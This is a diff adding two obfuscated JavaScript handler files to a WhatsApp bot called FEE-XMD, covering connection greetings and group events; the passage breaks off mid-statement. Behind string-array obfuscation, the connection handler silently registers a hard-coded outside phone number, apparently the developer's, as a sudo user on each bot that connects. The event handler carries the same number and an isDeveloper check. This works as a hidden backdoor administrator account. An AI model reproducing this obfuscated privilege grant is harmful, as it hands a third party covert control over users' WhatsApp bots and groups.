+ const _0x490592=_0x1a38;(function(_0x79ba88,_0x19a495){const _0x1a3c85=_0x1a38,_0x1ab3c2=_0x79ba88();while(!![]){try{const _0x43d26c=-parseInt(_0x1a3c85(0x235))/(-0x3b2+0x1dcc+-0x1a19)+-parseInt(_0x1a3c85(0x202))/(-0x1736+-0x110d+0x2845)+parseInt(_0x1a3c85(0x23b))/(0x2b*0xbb+0xc0f+-0x2b75)+parseInt(_0x1a3c85(0x1c1))/(-0x1dad+0xc*0x149+0x1*0xe45)+parseInt(_0x1a3c85(0x20f))/(0x8b*-0xf+0xeef*-0x1+0x1719)*(-parseInt(_0x1a3c85(0x1e0))/(0x431+0x1*0x24dd+-0x2908))+parseInt(_0x1a3c85(0x1d7))/(0x1456+-0x1f1*-0x7+0x1*-0x21e6)*(-parseInt(_0x1a3c85(0x21d))/(-0xe2e+0xf*0x1a3+-0x1*0xa57))+parseInt(_0x1a3c85(0x23e))/(-0x1f30+0x17f3*0x1+-0x26*-0x31)*(parseInt(_0x1a3c85(0x1bf))/(-0x1c4+-0x1ca0+0x1e6e));if(_0x43d26c===_0x19a495)break;else _0x1ab3c2['push'](_0x1ab3c2['shift']());}catch(_0x2f59a4){_0x1ab3c2['push'](_0x1ab3c2['shift']());}}}(_0x2a1f,-0x2*0x2a073+-0x32bf4+0xb718f));import{Boom}from'@hapi/boom';function _0x1a38(_0xf0a841,_0x3039d3){_0xf0a841=_0xf0a841-(-0x8cf+-0x492+0xf0b);const _0x3384b1=_0x2a1f();let _0x48551c=_0x3384b1[_0xf0a841];return _0x48551c;}import{DateTime}from'luxon';import{DisconnectReason,generateWAMessageFromContent}from'@whiskeysockets/baileys';import{addSudoUser,getSudoUsers}from'../database/config.js';import{getCachedSettings}from'../lib/settingsCache.js';function _0x2a1f(){const _0x465284=['Late\x20night','\x20Time\x20to\x20m','What\x27s\x20up?','━━━━━━━━ᕗ','DIAZI','65DHqSnl','es\x20SQL','\x20to\x20*','rWuSZ','ot\x20has\x20bee','LXXzD','message','Hey\x20there!','Get\x20Starte','Yhetj','key','Powered\x20by','LidYI','o\x20the\x20sudo','9304ChhfLn','p.net','ted.','yIPXG','kBSTW','now\x20connec','n\x20running','lYnuI','aRkuO','\x20happen!','Fee-Xmd','ed.*','💾\x20*Databas','GdFWf','VnjVz','settings','ping','kick\x20off\x20t','zJiZT','cgUgS','*Commands*','\x20You\x27ve\x20be','loggedOut','pzvfp','188194wvTftM','EralU','AUqOQ','*:\x20Baileys','ooVoH','@s.whatsap','460137MfLPfg','Menu','*Bot\x20is\x20re','6239817EzVgZm','Ping','ᕙ━━━━━━━━━','s*:\x20fredi_','er\x20Alert*:','e*:\x20','includes','output','now','Settings','yffNl','toLocaleSt','gDNzL','View\x20all\x20c','\x20get\x20start','ished.','wxOwS','Quick\x20Acti','ooking!','e*:\x20Postgr','\x20list.','klODd','en\x20added\x20t','📚\x20*Library','split','zUkFD','JQTMH','10FSUMKf','ring','647372upigqZ','ommands','┃ツ\x20*Credit','e\x20what\x27s\x20c','\x20back\x20to\x20*','sendMessag','tFcNq','Check\x20bot\x20','ons','uration','ios','How\x20long\x20b','hour','┃ツ\x20Welcome','ady!*\x0a*Pic','┃ツ\x20*New\x20Us','✨\x20*Bot\x20Nam','connecting','he\x20day?','GuFBX','statusCode','ect','826MKRtsw','error','OAmGW','open','━━━━━━━ᕗ','ake\x20things','join','setZone','┃ツ\x20*','52464IKkbKS','sQoHy','n\x20below\x20to','ezra','🔧\x20*Mode*:\x20','2557525939','*!\x20You\x27re\x20','stringify','Uptime','close','mode','prefix','Bot\x20config','Africa/Nai','UqWoY','🕒\x20*Time*:\x20','single_sel','?\x20Let\x27s\x20se','ptHMZ','relayMessa','➡️\x20*Prefix*','fQjKi','speed','ion\x20establ','menu','Evening\x20vi','UYeeC','HKDmG','uptime','ruAyt','*!\x20Connect','k\x20an\x20optio','robi','TIME_SIMPL','743244LHHQnm','\x20get\x20to\x20it','bes!\x20Let\x27s','JgiiC','smRVE','bdHzL','\x20Ready\x20to\x20','user'];_0x2a1f=function(){return _0x465284;};return _0x2a1f();}import{commands,totalCommands}from'../handlers/commandHandler.js';import{getDeviceMode}from'../lib/deviceMode.js';const botName=process.env.BOTNAME||_0x490592(0x227);let hasSentStartMessage=![];function getGreeting(){const _0x2592e2=_0x490592,_0x3b8d25={'klODd':_0x2592e2(0x1ed)+_0x2592e2(0x200),'sQoHy':function(_0x14f058,_0x1bd3d1){return _0x14f058>=_0x1bd3d1;},'zJiZT':function(_0x2e9e65,_0x14a802){return _0x2e9e65<_0x14a802;},'JgiiC':_0x2592e2(0x216)+_0x2592e2(0x208)+_0x2592e2(0x22e)+_0x2592e2(0x1d3),'gDNzL':function(_0x12e2e4,_0xf00d9a){return _0x12e2e4>=_0xf00d9a;},'lYnuI':_0x2592e2(0x20c)+_0x2592e2(0x20b)+_0x2592e2(0x1dc)+_0x2592e2(0x226),'ptHMZ':_0x2592e2(0x1f9)+_0x2592e2(0x204)+_0x2592e2(0x203)+'!','GuFBX':_0x2592e2(0x20a)+_0x2592e2(0x1f1)+_0x2592e2(0x1c4)+_0x2592e2(0x1b6)},_0xdf848f=DateTime[_0x2592e2(0x1ac)]()[_0x2592e2(0x1de)](_0x3b8d25[_0x2592e2(0x1b9)])[_0x2592e2(0x1cd)];if(_0x3b8d25[_0x2592e2(0x1e1)](_0xdf848f,-0xa7*-0x1+0xe14+-0x10d*0xe)&&_0x3b8d25[_0x2592e2(0x22f)](_0xdf848f,0x2568+0x12ab+-0x3807*0x1))return _0x3b8d25[_0x2592e2(0x205)];if(_0x3b8d25[_0x2592e2(0x1b0)](_0xdf848f,-0x124e+0x5e*-0x2f+0x239c)&&_0x3b8d25[_0x2592e2(0x22f)](_0xdf848f,-0x1169+0x26a8+-0x152d))return _0x3b8d25[_0x2592e2(0x224)];if(_0x3b8d25[_0x2592e2(0x1e1)](_0xdf848f,-0x1bde+-0x29f*-0x2+0xa*0x245)&&_0x3b8d25[_0x2592e2(0x22f)](_0xdf848f,-0x359*0x3+-0x41+0xa62))return _0x3b8d25[_0x2592e2(0x1f2)];return _0x3b8d25[_0x2592e2(0x1d4)];}function getCurrentTime(){const _0x302f7e=_0x490592,_0x3c3f2d={'AUqOQ':_0x302f7e(0x1ed)+_0x302f7e(0x200)};return DateTime[_0x302f7e(0x1ac)]()[_0x302f7e(0x1de)](_0x3c3f2d[_0x302f7e(0x237)])[_0x302f7e(0x1af)+_0x302f7e(0x1c0)](DateTime[_0x302f7e(0x201)+'E']);}async function connectionHandler(_0x3c7732,_0x5ea4a4,_0xad1bde){const _0x5d43ce=_0x490592,_0x4d8bc1={'aRkuO':function(_0x3c66ea,_0x47cd1d){return _0x3c66ea===_0x47cd1d;},'fQjKi':_0x5d43ce(0x1d2),'yffNl':function(_0xc1d122,_0x4bd181){return _0xc1d122===_0x4bd181;},'ruAyt':_0x5d43ce(0x1e9),'UYeeC':_0x5d43ce(0x1da),'HKDmG':function(_0x10eb43){return _0x10eb43();},'EralU':function(_0x38f97e,_0x39c05f){return _0x38f97e(_0x39c05f);},'tFcNq':_0x5d43ce(0x1e5)+'77','JQTMH':function(_0x3176f6,_0x257ebf){return _0x3176f6+_0x257ebf;},'ooVoH':_0x5d43ce(0x23a)+_0x5d43ce(0x21e),'yIPXG':function(_0x4b8a75){return _0x4b8a75();},'pzvfp':function(_0x3d4fb8){return _0x3d4fb8();},'UqWoY':function(_0x826ba5){return _0x826ba5();},'rWuSZ':function(_0x48320b,_0x54c261){return _0x48320b!==_0x54c261;},'LidYI':_0x5d43ce(0x1cb),'wxOwS':function(_0x5046af,_0x47d4fc,_0x49e15c,_0x229690){return _0x5046af(_0x47d4fc,_0x49e15c,_0x229690);},'cgUgS':_0x5d43ce(0x1f0)+_0x5d43ce(0x1d6),'VnjVz':_0x5d43ce(0x217)+'d','zUkFD':_0x5d43ce(0x1b5)+_0x5d43ce(0x1c9),'bdHzL':_0x5d43ce(0x23c),'kBSTW':_0x5d43ce(0x1b1)+_0x5d43ce(0x1c2),'DIAZI':_0x5d43ce(0x1ad),'smRVE':_0x5d43ce(0x1ec)+_0x5d43ce(0x1ca),'OAmGW':_0x5d43ce(0x23f),'GdFWf':_0x5d43ce(0x1c8)+_0x5d43ce(0x1f6),'Yhetj':_0x5d43ce(0x1e8),'LXXzD':_0x5d43ce(0x1cc)+_0x5d43ce(0x213)+_0x5d43ce(0x223)},{connection:_0x15e1d0,lastDisconnect:_0x4a1c58}=_0x5ea4a4;if(_0x4d8bc1[_0x5d43ce(0x225)](_0x15e1d0,_0x4d8bc1[_0x5d43ce(0x1f5)]))return;if(_0x4d8bc1[_0x5d43ce(0x1ae)](_0x15e1d0,_0x4d8bc1[_0x5d43ce(0x1fd)])){const _0x4cf9d3=new Boom(_0x4a1c58?.[_0x5d43ce(0x1d8)])?.[_0x5d43ce(0x1ab)][_0x5d43ce(0x1d5)];_0x4d8bc1[_0x5d43ce(0x225)](_0x4cf9d3,DisconnectReason[_0x5d43ce(0x233)])&&(hasSentStartMessage=![]);return;}if(_0x4d8bc1[_0x5d43ce(0x225)](_0x15e1d0,_0x4d8bc1[_0x5d43ce(0x1fa)])){const _0x1fc53a=_0x3c7732[_0x5d43ce(0x209)]['id'][_0x5d43ce(0x1bc)](':')[-0x14e2+-0x211b+0x35fd][_0x5d43ce(0x1bc)]('@')[0x53*0x47+0x9b6*-0x2+-0x399],_0x69c325=await _0x4d8bc1[_0x5d43ce(0x1fb)](getCachedSettings),_0x27e9f0=await _0x4d8bc1[_0x5d43ce(0x1fb)](getSudoUsers);if(!hasSentStartMessage){const _0x46a90e=!_0x27e9f0[_0x5d43ce(0x1aa)](_0x1fc53a);if(_0x46a90e){await _0x4d8bc1[_0x5d43ce(0x236)](addSudoUser,_0x1fc53a);const _0x165b5f=_0x4d8bc1[_0x5d43ce(0x1c7)];!_0x27e9f0[_0x5d43ce(0x1aa)](_0x165b5f)&&await _0x4d8bc1[_0x5d43ce(0x236)](addSudoUser,_0x165b5f);}let _0x2b4687=_0x3c7732[_0x5d43ce(0x209)]?.['id']||_0x4d8bc1[_0x5d43ce(0x1be)](_0x1fc53a,_0x4d8bc1[_0x5d43ce(0x239)]);_0x2b4687[_0x5d43ce(0x1aa)](':')&&(_0x2b4687=_0x4d8bc1[_0x5d43ce(0x1be)](_0x2b4687[_0x5d43ce(0x1bc)](':')[0xf3a+-0x1*-0x24a6+0x298*-0x14],_0x4d8bc1[_0x5d43ce(0x239)]));const _0x502ffc=_0x46a90e?[_0x5d43ce(0x240)+_0x5d43ce(0x20d),_0x5d43ce(0x1df)+_0x4d8bc1[_0x5d43ce(0x1fb)](getGreeting)+'*',_0x5d43ce(0x1ce)+_0x5d43ce(0x211)+botName+(_0x5d43ce(0x1e6)+_0x5d43ce(0x222)+_0x5d43ce(0x21f)),'',_0x5d43ce(0x1d1)+_0x5d43ce(0x243)+botName,_0x5d43ce(0x1e4)+_0x69c325[_0x5d43ce(0x1ea)],_0x5d43ce(0x1f4)+':\x20'+_0x69c325[_0x5d43ce(0x1eb)],_0x5d43ce(0x231)+':\x20'+totalCommands,_0x5d43ce(0x1ef)+_0x4d8bc1[_0x5d43ce(0x220)](getCurrentTime),_0x5d43ce(0x229)+_0x5d43ce(0x1b7)+_0x5d43ce(0x210),_0x5d43ce(0x1bb)+_0x5d43ce(0x238),'',_0x5d43ce(0x1d0)+_0x5d43ce(0x242)+_0x5d43ce(0x232)+_0x5d43ce(0x1ba)+_0x5d43ce(0x21c)+_0x5d43ce(0x1b8),'',_0x5d43ce(0x1c3)+_0x5d43ce(0x241)+_0x5d43ce(0x1e3),_0x5d43ce(0x240)+_0x5d43ce(0x1db)][_0x5d43ce(0x1dd)]('\x0a'):[_0x5d43ce(0x240)+_0x5d43ce(0x1db),_0x5d43ce(0x1df)+_0x4d8bc1[_0x5d43ce(0x1fb)](getGreeting)+'*',_0x5d43ce(0x1ce)+_0x5d43ce(0x1c5)+botName+(_0x5d43ce(0x1fe)+_0x5d43ce(0x1f7)+_0x5d43ce(0x1b3)),'',_0x5d43ce(0x1d1)+_0x5d43ce(0x243)+botName,_0x5d43ce(0x1e4)+_0x69c325[_0x5d43ce(0x1ea)],_0x5d43ce(0x1f4)+':\x20'+_0x69c325[_0x5d43ce(0x1eb)],_0x5d43ce(0x231)+':\x20'+totalCommands,_0x5d43ce(0x1ef)+_0x4d8bc1[_0x5d43ce(0x234)](getCurrentTime),_0x5d43ce(0x229)+_0x5d43ce(0x1b7)+_0x5d43ce(0x210),_0x5d43ce(0x1bb)+_0x5d43ce(0x238),'',_0x5d43ce(0x1c3)+_0x5d43ce(0x241)+_0x5d43ce(0x1e3),_0x5d43ce(0x240)+_0x5d43ce(0x1db)][_0x5d43ce(0x1dd)]('\x0a'),_0x27aa07=_0x69c325[_0x5d43ce(0x1eb)]||'.';try{await _0x3c7732[_0x5d43ce(0x1c6)+'e'](_0x2b4687,{'text':_0x502ffc,'footer':_0x5d43ce(0x21a)+'\x20'+botName,'viewOnce':!![]});const _0xb81e12=await _0x4d8bc1[_0x5d43ce(0x1ee)](getDeviceMode);if(_0x4d8bc1[_0x5d43ce(0x212)](_0xb81e12,_0x4d8bc1[_0x5d43ce(0x21b)])){const _0x4a31b2=_0x4d8bc1[_0x5d43ce(0x1b4)](generateWAMessageFromContent,_0x2b4687,{'interactiveMessage':{'body':{'text':_0x5d43ce(0x23d)+_0x5d43ce(0x1cf)+_0x5d43ce(0x1ff)+_0x5d43ce(0x1e2)+_0x5d43ce(0x1b2)+_0x5d43ce(0x228)},'footer':{'text':_0x5d43ce(0x21a)+'\x20'+botName},'nativeFlowMessage':{'messageVersion':0x1,'buttons':[{'name':_0x4d8bc1[_0x5d43ce(0x230)],'buttonParamsJson':JSON[_0x5d43ce(0x1e7)]({'title':_0x4d8bc1[_0x5d43ce(0x22b)],'sections':[{'title':_0x4d8bc1[_0x5d43ce(0x1bd)],'rows':[{'title':_0x4d8bc1[_0x5d43ce(0x207)],'description':_0x4d8bc1[_0x5d43ce(0x221)],'id':_0x27aa07+_0x5d43ce(0x1f8)},{'title':_0x4d8bc1[_0x5d43ce(0x20e)],'description':_0x4d8bc1[_0x5d43ce(0x206)],'id':_0x27aa07+_0x5d43ce(0x22c)},{'title':_0x4d8bc1[_0x5d43ce(0x1d9)],'description':_0x4d8bc1[_0x5d43ce(0x22a)],'id':_0x27aa07+_0x5d43ce(0x22d)},{'title':_0x4d8bc1[_0x5d43ce(0x218)],'description':_0x4d8bc1[_0x5d43ce(0x214)],'id':_0x27aa07+_0x5d43ce(0x1fc)}]}]})}]}}},{});await _0x3c7732[_0x5d43ce(0x1f3)+'ge'](_0x2b4687,_0x4a31b2[_0x5d43ce(0x215)],{'messageId':_0x4a31b2[_0x5d43ce(0x219)]['id']});}}catch(_0x5a81ae){}hasSentStartMessage=!![];}}}export default connectionHandler;
FEE-XMD-main/handlers/eventHandler.js ADDED
@@ -0,0 +1 @@
 
 
1
+ const _0x21e3ef=_0xa612;(function(_0x59ce50,_0x101b62){const _0x151ecd=_0xa612,_0x31ef86=_0x59ce50();while(!![]){try{const _0x5253fa=-parseInt(_0x151ecd(0x1f2))/(-0xa37*-0x1+-0x27f*0xd+0x163d)*(parseInt(_0x151ecd(0x219))/(0xc40+-0x1de*0xe+-0x6f3*-0x2))+parseInt(_0x151ecd(0x2b5))/(0x11*0x23b+-0x2cc+-0x2ed*0xc)+-parseInt(_0x151ecd(0x2b4))/(0xcb*-0x2a+-0x21e1+0x4333)*(parseInt(_0x151ecd(0x2ae))/(-0x1e3+-0x1f75*0x1+0xb1f*0x3))+-parseInt(_0x151ecd(0x20a))/(-0x1*-0x26b3+-0x2*-0x6cd+0x5cf*-0x9)+parseInt(_0x151ecd(0x285))/(0x1*-0x97+0xeb9+-0xe1b)*(-parseInt(_0x151ecd(0x29b))/(-0x63b+-0x232e+0x2971))+-parseInt(_0x151ecd(0x1e9))/(-0xa7e+0x4*0x2cd+0xad*-0x1)+-parseInt(_0x151ecd(0x2be))/(-0x3*-0x371+0x61*0x61+0x9*-0x53a)*(-parseInt(_0x151ecd(0x28e))/(0x1b82+0x5eb+-0x2162));if(_0x5253fa===_0x101b62)break;else _0x31ef86['push'](_0x31ef86['shift']());}catch(_0x5995f9){_0x31ef86['push'](_0x31ef86['shift']());}}}(_0x59b9,0x427b+-0x428cb+0x1*0x129068));function _0x59b9(){const _0x5316d8=['mote\x20is\x20on','YwwoF','FtOrU','nphAX','\x20developer','\x0a├\x20Protect','5942160oFwtFb','d\x20too\x20hard',',\x20newbie!*','d.\x0a├\x20Auto-','image','━━━━━━━━━━','\x20🦁\x20*Group*','XNdYO','ying\x20text:','ote\x20is\x20on.','*:\x20','*Bot*:\x20Fee','!*\x0a├\x20\x0a├\x20🤖\x20','e\x20heat?*\x0a├','vuxaw','398072FNBpek','━━━━━━━━ᕗ\x0a','groupParti','admin','\x20Only\x20the\x20','profilePic','ᕗ━━━\x0a├━━━≫','ntiforeign','led\x20up!*\x0a├','ry\x20not\x20to\x20','roupMetada','replace','zfhxi','𝖊𝖟𝖗𝖆','━━━\x0a├\x20\x0a├\x20😈','\x0a├\x20\x0a├\x20😜\x20*D','OTED\x20≪━━━\x0a','user','\x20ANTIDEMOT','bNvDM','o\x20admin.\x0a╰','\x20cannot\x20be','catch','for\x20trying','━━━\x0a├\x20\x0a├\x20😎','*:\x20Antidem','ive\x20withou','all','elcome\x20tex','iWQmi','message','welcome','!\x20Couldn\x27t','𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆','map','ed\x20user\x20—\x20','QMrwm','TE\x20≪━━━\x0a├\x20','t\x20send\x20als','rSMPu','\x20*Yo,\x20@','goodbye','on\x27t\x20cry,\x20','𝖟𝖗𝖆','𝖇𝖞\x20𝖋𝖗𝖊𝖉𝖎_𝖊','t\x20ya!*\x0a╰━━','\x20AUTO-PROM','\x20Fee-Xmd\x0a├','\x0a╰━━━━━━━━','𝖗𝖆','jXNGn','gjfvB','\x20😎\x20*Big\x20do','XAYQG','CkiSb','FhzHU','𝖞\x20𝖋𝖗𝖊𝖉𝖎_𝖊𝖟','*:\x20Antipro','QAEdp','rxLTR','GIZYL','includes','2557525939','author','pdzGX','elcome\x20ima','antidemote','UYFaZ','ailed\x20for\x20','EcHOw','@lid','to\x20the\x20cha','├\x20\x0a├\x20👑\x20The','action','iuXCp','cipantsUpd','os!*\x0a├\x20\x0a├\x20','neFromLid','ta\x20fetch\x20f','sendMessag','get\x20roaste','sZNRM','tureUrl','━━━━━━━ᕗ\x0a>','maivK','!\x20Demoted\x20','rbXXK','\x20to\x20boost\x20','ata','©𝖕𝖔𝖜𝖊𝖗𝖊𝖉\x20𝖇','try,\x20@','filter','etGroupSet','\x0a├\x20\x0a├\x20😼\x20*T','𝖔𝖜𝖊𝖗𝖊𝖉\x20𝖇𝖞\x20','\x20error:','Wejco','\x20WELCOME\x20≪','🤖\x20*Bot*:\x20F','desc','d\x20automati','xgWxg','phoneNumbe','\x20ANTIPROMO',',\x20welcome\x20','rnlIL','ee-Xmd\x0a├\x20🦁','tings\x20fail','693VTzjCM','p*:\x20','we\x27ll\x20surv','[EVENTS]\x20G','*:\x20Fee-Xmd','\x20handle\x20th','endsWith','E\x20≪━━━\x0a├\x20\x0a','CSlkk','165kHMafB','PHAxn','yJcBL','pdVpb','>\x20©𝖕𝖔𝖜𝖊𝖗𝖊𝖉','\x20elite\x20can','iuDmX','log','cSlnD','\x20*Group*:\x20','VNRxi','\x0a├\x20📜\x20*Rule','eXmYF','97672yClrAP','├\x20😏\x20*Nice\x20','string','\x0a├\x20📜\x20*Desc','ntipromote','owner','cally.\x0a├\x20\x0a','\x20≪━━━\x0a├\x20\x0a├','kJceR','remove','uwCNC','ge\x20send\x20fa','big\x20dogs\x20c','PngOQ','iled,\x20retr','\x20GOODBYE\x20≪','jid','phone_numb','ate','629845hxJjsd','KMGsF','QuXCO','antipromot','ntidemote\x20','━━━━ᕗ\x0a>\x20©𝖕','48ImBMTl','8052RUunHL','QCQab','flPSf','re-promote','.\x20Only\x20the','promote','├\x20🤖\x20*Bot*:','@s.whatsap','add','5211120WdNRhG','aSJtA','decodeJid','o\x20failed:','├\x20🛡️\x20*@','oaQlp','PFQFR','\x20©𝖕𝖔𝖜𝖊𝖗𝖊𝖉\x20','[EVENTS]\x20A','\x0a├\x20🦁\x20*Grou','[EVENTS]\x20W','asOxp','╭━━━ᕙ\x20\x20\x20\x20F','\x20\x0a├\x20🤖\x20*Bot','split','vZCct','Some\x20borin','resolvePho','\x20has\x20joine','promoted\x20t','g\x20@','\x20*Later,\x20@','-Xmd\x0a├\x20🦁\x20*','length','error:','kQUTa','ed\x20for\x20','push','[EVENTS]\x20a','demote','p.net','qugES','for\x20messin','g\x20with\x20@','some','aZZTw','subject','15789465SkahFr','oodbye\x20ima','\x20promote!\x0a','oodbye\x20tex','━━━━━━ᕗ\x0a>\x20','\x20just\x20leve','GDXfn','g\x20group,\x20I','╰━━━━━━━━━','7IQdaRM','Group*:\x20','\x0a├\x20😆\x20*Oof,','an\x20demote!','KAASM','iWGGP','LuZHD','groupMetad','[EVENTS]\x20g','ByWTv','\x20demoted.*','FitOl','EE-XMD\x20\x20\x20\x20','isArray','participan','\x20PROMOTION','\x20𝖇𝖞\x20𝖋𝖗𝖊𝖉𝖎_','\x20guess.'];_0x59b9=function(){return _0x5316d8;};return _0x59b9();}import{getGroupSettings,getSudoUsers,resetWarn}from'../database/config.js';import _0x12e546 from'../features/antiforeign.js';function _0xa612(_0x452155,_0x1c8c6d){_0x452155=_0x452155-(-0x65b*0x1+0x3d7*0x2+0x8b*0x1);const _0x4ba0c4=_0x59b9();let _0x2cc723=_0x4ba0c4[_0x452155];return _0x2cc723;}import{resolveTargetJid}from'../lib/lidResolver.js';const DEVELOPER_NUMBER=_0x21e3ef(0x257)+'77',_num=_0x2254db=>(_0x2254db||'')[_0x21e3ef(0x2cc)]('@')[-0x2*-0x480+-0x6*0x62b+0x1c02][_0x21e3ef(0x2cc)](':')[0x60*-0x8+0x47b*-0x1+0x77b][_0x21e3ef(0x224)](/\D/g,''),extractJid=_0x125fe5=>{const _0x15d1dc=_0x21e3ef,_0x32f8c1={'pdzGX':function(_0x50e414,_0x33a34d){return _0x50e414===_0x33a34d;},'iuXCp':_0x15d1dc(0x29d),'XNdYO':function(_0x345dc3,_0xbaf022){return _0x345dc3===_0xbaf022;},'iWGGP':function(_0x207ecd,_0x102abf){return _0x207ecd+_0x102abf;},'iuDmX':_0x15d1dc(0x2bc)+_0x15d1dc(0x1e2)};if(_0x32f8c1[_0x15d1dc(0x259)](typeof _0x125fe5,_0x32f8c1[_0x15d1dc(0x263)]))return _0x125fe5;if(!_0x125fe5)return'';const _0x55ae7e=_0x125fe5[_0x15d1dc(0x27f)+'r']||_0x125fe5[_0x15d1dc(0x2ac)+'er']||'';if(_0x55ae7e)return _0x32f8c1[_0x15d1dc(0x211)](typeof _0x55ae7e,_0x32f8c1[_0x15d1dc(0x263)])&&_0x55ae7e[_0x15d1dc(0x256)]('@')?_0x55ae7e:_0x32f8c1[_0x15d1dc(0x1f7)](_0x55ae7e,_0x32f8c1[_0x15d1dc(0x294)]);return _0x125fe5['id']||_0x125fe5[_0x15d1dc(0x2ab)]||'';},normalizeJid=_0x318fb5=>{const _0x106ce3=_0x21e3ef,_0x11627d={'aZZTw':function(_0x5caa45,_0x4f817c){return _0x5caa45(_0x4f817c);},'gjfvB':_0x106ce3(0x25f),'GDXfn':function(_0x4d3297,_0x182f2b){return _0x4d3297+_0x182f2b;},'rSMPu':function(_0x4ddeee,_0x2071f4){return _0x4ddeee(_0x2071f4);},'xgWxg':_0x106ce3(0x2bc)+_0x106ce3(0x1e2)},_0x29ae45=_0x11627d[_0x106ce3(0x1e7)](extractJid,_0x318fb5);if(!_0x29ae45)return'';if(_0x29ae45[_0x106ce3(0x28b)](_0x11627d[_0x106ce3(0x24c)])&&globalThis[_0x106ce3(0x2cf)+_0x106ce3(0x266)]){const _0x5aad0a=globalThis[_0x106ce3(0x2cf)+_0x106ce3(0x266)](_0x29ae45);if(_0x5aad0a)return _0x11627d[_0x106ce3(0x1ef)](_0x11627d[_0x106ce3(0x240)](_num,_0x5aad0a),_0x11627d[_0x106ce3(0x27e)]);}if(_0x29ae45[_0x106ce3(0x28b)](_0x11627d[_0x106ce3(0x24c)]))return _0x29ae45;return _0x11627d[_0x106ce3(0x1ef)](_0x11627d[_0x106ce3(0x240)](_num,_0x29ae45),_0x11627d[_0x106ce3(0x27e)]);},isDeveloper=_0x48f2c8=>_num(extractJid(_0x48f2c8))===DEVELOPER_NUMBER,Events=async(_0x2c182f,_0x32ea98,_0x5240d7)=>{const _0x25d83d=_0x21e3ef,_0x446f41={'maivK':function(_0x51af60,_0x35c581){return _0x51af60(_0x35c581);},'rnlIL':function(_0x1062f8,_0x58473b){return _0x1062f8===_0x58473b;},'vuxaw':_0x25d83d(0x20e),'QuXCO':function(_0x3992ce,_0x11a663){return _0x3992ce||_0x11a663;},'PFQFR':function(_0x340181,_0x3a8894){return _0x340181(_0x3a8894);},'QCQab':function(_0x228862,_0x32aede){return _0x228862!==_0x32aede;},'zfhxi':_0x25d83d(0x2ce)+_0x25d83d(0x1f0)+_0x25d83d(0x203),'bNvDM':function(_0xee0973,_0x100703){return _0xee0973(_0x100703);},'PngOQ':function(_0x373481,_0x3d3454){return _0x373481===_0x3d3454;},'GIZYL':function(_0x1a7d91,_0x5891c6){return _0x1a7d91===_0x5891c6;},'kJceR':function(_0x5dba50,_0x2d6790){return _0x5dba50===_0x2d6790;},'cSlnD':function(_0x45a882,_0x4cd761){return _0x45a882===_0x4cd761;},'VNRxi':function(_0x5e75df,_0x7c0749){return _0x5e75df===_0x7c0749;},'rxLTR':function(_0x17b784,_0x28e7c4){return _0x17b784===_0x28e7c4;},'kQUTa':function(_0xf7d5ae){return _0xf7d5ae();},'CSlkk':_0x25d83d(0x2bd),'uwCNC':function(_0x2ac01e,_0x53662e,_0x304699){return _0x2ac01e(_0x53662e,_0x304699);},'nphAX':_0x25d83d(0x1e0)+_0x25d83d(0x220)+_0x25d83d(0x278),'yJcBL':function(_0x49aea1,_0x42dd3b){return _0x49aea1(_0x42dd3b);},'asOxp':function(_0x4665e1,_0x73957b){return _0x4665e1(_0x73957b);},'EcHOw':_0x25d83d(0x25f),'UYFaZ':_0x25d83d(0x2ba),'oaQlp':function(_0x2f76bb,_0x25a21c){return _0x2f76bb===_0x25a21c;},'eXmYF':function(_0x329c92,_0x4d5eb1){return _0x329c92<_0x4d5eb1;},'FitOl':function(_0x40a925,_0x1297de){return _0x40a925(_0x1297de);},'rbXXK':_0x25d83d(0x2c8)+_0x25d83d(0x25a)+_0x25d83d(0x2a6)+_0x25d83d(0x2a9)+_0x25d83d(0x212),'sZNRM':_0x25d83d(0x2c8)+_0x25d83d(0x235)+_0x25d83d(0x23f)+_0x25d83d(0x2c1),'KMGsF':function(_0x4b41f5,_0x537576){return _0x4b41f5===_0x537576;},'ByWTv':_0x25d83d(0x2a4),'XAYQG':function(_0x54c02d,_0x1278e9,_0x557411){return _0x54c02d(_0x1278e9,_0x557411);},'vZCct':function(_0x457886,_0x3a495d){return _0x457886<_0x3a495d;},'YwwoF':_0x25d83d(0x288)+_0x25d83d(0x1ea)+_0x25d83d(0x2a6)+_0x25d83d(0x2a9)+_0x25d83d(0x212),'FtOrU':_0x25d83d(0x288)+_0x25d83d(0x1ec)+_0x25d83d(0x23f)+_0x25d83d(0x2c1),'flPSf':function(_0x451e92,_0xf134a4){return _0x451e92===_0xf134a4;},'LuZHD':_0x25d83d(0x1e1),'QMrwm':function(_0x1868b4,_0x7fd5e3){return _0x1868b4(_0x7fd5e3);},'aSJtA':function(_0x1f2e29,_0x41c25e,_0x4c89df){return _0x1f2e29(_0x41c25e,_0x4c89df);},'QAEdp':function(_0x8bad5,_0x12afd){return _0x8bad5(_0x12afd);},'Wejco':function(_0x361700,_0x4ccdda){return _0x361700(_0x4ccdda);},'pdVpb':_0x25d83d(0x2c6)+_0x25d83d(0x2b2)+_0x25d83d(0x2d6),'iWQmi':function(_0x5c013f,_0x1c839c){return _0x5c013f===_0x1c839c;},'KAASM':function(_0x3b69da,_0x33113a){return _0x3b69da(_0x33113a);},'jXNGn':function(_0x2b4ee9,_0x200cbf,_0x286aac){return _0x2b4ee9(_0x200cbf,_0x286aac);},'CkiSb':function(_0x2cf055,_0x5a0644){return _0x2cf055(_0x5a0644);},'qugES':function(_0x51ab88,_0x46a956){return _0x51ab88(_0x46a956);},'PHAxn':function(_0x406610,_0x9fdfb8){return _0x406610(_0x9fdfb8);},'FhzHU':_0x25d83d(0x2c6)+_0x25d83d(0x29f)+_0x25d83d(0x278)},_0x2f24ea=_0x2c182f[_0x25d83d(0x2c0)]?_0x2c182f[_0x25d83d(0x2c0)](_0x2c182f[_0x25d83d(0x22a)]['id']):_0x2c182f[_0x25d83d(0x22a)]?.['id']||'',_0xb34787=_0x446f41[_0x25d83d(0x2c4)](normalizeJid,_0x2f24ea);let _0x3a6efb=null;try{_0x3a6efb=await _0x2c182f[_0x25d83d(0x1f9)+_0x25d83d(0x271)](_0x32ea98['id']);}catch(_0x35b1){console[_0x25d83d(0x295)](_0x25d83d(0x1fa)+_0x25d83d(0x223)+_0x25d83d(0x267)+_0x25d83d(0x25d)+_0x32ea98['id']+':',_0x35b1[_0x25d83d(0x237)]);}if(!_0x3a6efb)_0x3a6efb={'subject':_0x32ea98['id'],'desc':'','participants':[],'owner':''};const 